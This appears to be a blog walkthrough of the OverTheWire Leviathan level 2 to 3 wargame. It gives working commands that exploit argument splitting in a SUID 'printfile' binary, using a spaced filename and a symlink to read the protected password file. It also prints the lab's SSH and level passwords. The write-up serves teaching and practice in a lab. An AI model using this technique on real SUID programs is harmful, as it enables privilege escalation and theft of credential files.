Avatar
Part time CTF Player learn every day!!
🌠 I Love Hoshimachi Suisei!! 🌠
🌠 I Love Hoshimachi Suisei!! 🌠

OverTheWire Leviathan Level 2 → 3 tutorial!!


Login

Log in as leviathan2 using the password from Level 1 → 2.

ssh leviathan2@leviathan.labs.overthewire.org -p 2223
# password: NsN1HwFoyN

Why? Each level is a different UNIX user. To solve 2 → 3 you must be leviathan2.


Task

There is a SUID binary printfile in leviathan2’s home. Use it to obtain the password for leviathan3.


A little bit of Theory

  • SUID binaries run with the owner’s privileges (here: leviathan3).
  • ltrace shows library calls/arguments (e.g., access, system).
  • Path parsing gotcha: some programs build shell commands like "/bin/cat %s". If %s contains a space, the shell may split it into two arguments.
  • Symlinks let you make a harmless-looking path point to a sensitive file.

Further reading:


Solution

  1. Spot the SUID binary

    ls -la
    

    Expected:

    -r-sr-x--- 1 leviathan3 leviathan2 7436 Aug 26  2019 printfile
    

    Why? We need a binary that runs as leviathan3.

    inspect

  2. Try the program

    ./printfile
    # then
    ./printfile .bash_logout
    # and
    ./printfile /etc/leviathan_pass/leviathan3
    

    Typical:

    *** File Printer ***
    Usage: ./printfile filename
    

    For a readable file you own:

    ./printfile .bash_logout
    # ~/.bash_logout: executed by bash(1) when login shell exits.
    ...
    

    Output:

    You cant have that file...
    

    Why? It prints readable files, but refuses the password file (“You cant have that file…”).

    usage/ok print

  3. Trace to understand the checks

    ltrace ./printfile .bash_logout
    

    Snippet (typical):

    access(".bash_logout", 4)                         = 0
    snprintf("/bin/cat .bash_logout", 511, "/bin/cat %s", ".bash_logout") = 21
    setreuid(12002, 12002)                            = 0
    system("/bin/cat .bash_logout")                   = 0
    

    Why? We see the order: access(filename, R_OK) as leviathan2, then later setreuid(leviathan3) and system("/bin/cat %s"). So the permission check happens before it becomes leviathan3, and then a shell command is built with %s.

    ltrace-ok

  4. Probe with a filename that contains a space

    dir=$(mktemp -d)
    touch "$dir/test file.txt"
    ltrace ./printfile "$dir/test file.txt"
    

    Trace shows:

    access("/tmp/.../test file.txt", 4) = 0
    system("/bin/cat /tmp/.../test file.txt")
    # cat treats these as TWO args: '/tmp/.../test' and 'file.txt'
    

    Why? access() sees the full path (allowed), but /bin/cat %s is tokenized by the shell: the first token is …/test and the second is file.txt. That split is our injection point.

    ltrace-space

  5. Exploit via a symlink named test

    ln -s /etc/leviathan_pass/leviathan3 "$dir/test"
    chmod 777 "$dir"
    ls -la "$dir"
    

    Why? When /bin/cat receives the split tokens, it will read "$dir/test" first — our symlink that points at the real password file.

    symlink

  6. Trigger the read and capture the password

    ./printfile "$dir/test file.txt"
    

    Why? /bin/cat follows the first token "$dir/test" → dereferences to /etc/leviathan_pass/leviathan3 and prints the password. It will also complain about file.txt, which we can ignore.

    decrypt


Password

f0n8h2iWLP

Troubleshooting

  • “You cant have that file…” immediately? Ensure you’re calling the spaced name: "$dir/test file.txt".
  • No output, only errors for file.txt? Re-create the symlink: ln -sf /etc/leviathan_pass/leviathan3 "$dir/test".
  • Permission denied on temp dir? chmod 777 "$dir" so the SUID owner can traverse it.
  • Different tmp path names? That’s fine; mktemp -d generates random names each time.

Copy-paste quick run

ssh leviathan2@leviathan.labs.overthewire.org -p 2223
# password: NsN1HwFoyN

cd ~
ls -la                         # see SUID ./printfile
ltrace ./printfile .bash_logout

dir=$(mktemp -d)
touch "$dir/test file.txt"
ln -s /etc/leviathan_pass/leviathan3 "$dir/test"
chmod 777 "$dir"
./printfile "$dir/test file.txt"   # → f0n8h2iWLP

Congrats 🎉 You abused argument splitting + symlinks to make a SUID helper read a protected file. On to leviathan3!


Thanks for reading!

Until next time — Otsumachi!! 💖☄️✨

Cinema

all tags

GOT-overwrite aboutme aead ai alphanumeric-shellcode apt argc0 argon2 aslr assembly asymmetric atoi automation backbox bandit base64 bash beginner behemoth binary binary-exploitation binary-to-ascii blackarch blind blind-sqli blogging blue-team bruteforce buffer-overflow buffer-overwrite c caesar canary capabilities checksec command-injection commonmark cookie cron crypto cryptography ctf cutter cyberchef cybersecurity defenders detection dev directory-traversal dnf docs drifter ecc education elf env envp exploitation finale forensics format-string formulaone frequency frequency-analysis gcc gdb getchar gfm ghidra github-pages governance gpg guide hashing hkdf http jekyll jmpbuf kali kasiski kdf kernel keylength kramdown krypton lab ld_preload leviathan lfi lfsr linux linux-syscall llmops log-poisoning ltrace manpage markdown maze memcpy mitigations mitmproxy mlops narnia natas networking newline-injection nonce nop-sled nx object-injection obsidian openssl osint overflow overthewire package-manager pacman parrot path path-hijacking pathname php pie pkc pki pointer-trick pqc priv-esc privilege-escalation provable-security pwn pwntools pyshark python race-condition radare2 rag randomness recon red-team redirect relro requests ret2env ret2libc reverse-engineering reversing ricing roadmap rop rot13 rsa scapy security seed seo serialization session setjmp-longjmp setuid shell shellcode smoke soc sockets sprintf sql-injection srop stack-canary stack-overflow strace strcmp strcpy streamcipher strings strncpy strtoul substitution suid suisei symlink symmetric terminal test threat-intel time-based tls troubleshooting tshark type-juggling ubuntu udp utumno vigenere virtualbox virtualization vmware vortex walkthrough web windows wireshark writing wsl x86
dash theme for Jekyll by bitbrain made with